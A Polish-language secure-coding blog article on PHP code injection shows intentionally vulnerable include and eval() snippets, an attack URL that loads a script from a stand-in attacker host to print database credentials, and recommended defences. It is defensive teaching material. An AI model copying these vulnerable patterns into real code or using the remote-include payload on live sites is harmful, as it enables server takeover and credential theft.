(Nie)bezpieczny kod – Code injection

W ostatnim artykule pokazywałem w jaki sposób można wstrzyknąć komendy systemowe (shell injection) do kodu aplikacji. Równie dobrze można wstrzyknąć kod PHP. Zobacz na czym polega metoda ataku code injection i jak się przed nią zabezpieczyć :).

Trochę teorii

Code injection polega na dołączeniu dowolnego skryptu PHP do wnętrza web aplikacji. W niezabezpieczonych stronach www luka ta umożliwia atakującemu przejęcie serwisu lub na jego poważne uszkodzenie. Serwis jest podatny na tego typu ataki w sytuacji, gdy instrukcja include lub funkcja eval() przyjmuje nieprzefiltrowane parametry wpisane przez użytkownika (np. z użyciem GET lub POST).

Przykładowy atak Code injection

Przeanalizujemy 2 możliwości ataku – z wykorzystaniem include oraz za pomocą funkcji eval().

Przykład 1 – include

Jeszcze kilka lat temu wiele prostych stron www miało mniej więcej taką strukturę:

<?php
// Hasła do bazy danych
define("LOGIN", "tajny login");
define("PASSWORD", "Tajne haslo");</p>
/* Jakiś kod HTML... */
if(isset($GET['page'])) {
    include $GET['page'];
}<
/* Jakiś kod HTML... */

Nagłówek i stopka znajdowały się w głównym pliku, a sekcja z treścią była ładowana za pomocą parametru page. Adresy URL takiej strony wyglądają tak:

• http://jakastsrona.pl?page=onas.php
• http://jakastsrona.pl?page=oferta.php
• http://jakastsrona.pl?page=kontakt.php

Jeżeli użytkownik korzysta tylko z linków menu wszystko działa bez zarzutów, ale może przecież wpisać dowolny tekst, np.:

http://jakastsrona.pl?page=http://strona-atakujace.pl/atak.txt

Niech plik atak.txt zawiera taki kod:

<?php
echo PASSWORD;
?>

W ten o to sposób atakujący może sobie wyświetlić zapisane w stałych dane dostępu do bazy danych. Oczywiście może wykonać i inny kod PHP – np. usunąć wszystkie pliki z serwera..

Przykład 2 – eval()

Ten przykład na pierwszy rzut oka powinien być niebezpieczny dla programisty:

<?php
if(isset($GET['code'])) {
    eval($GET['code']);
}

Taki kod wręcz otwiera szeroko drzwi dla każdego… :). Umożliwia na wykonanie dowolnego kodu podanego przez użytkownika.

Jak się zabezpieczyć przed Code injection?

Najlepiej unikać wykonywania include, a w szczególności eval() z parametrami pochodzącymi od użytkownika. Jeżeli jednak nie jesteś tego w stanie ominąć:

• Dla argumentu include stosuj funkcję basename()
• Dla funkcji eval() można wykorzystać konstrukcję switch… case i ograniczyć możliwość wykonywania PHP do listy dostępnych opcji.

Uwaga: informacje przedstawione w artykule służą tylko celom edukacyjnym. ZABRONIONE jest wykorzystywanie informacji przedstawionych w artykule do celów niezgodnych z prawem. Autor nie ponosi odpowiedzialności za ewentualne szkody.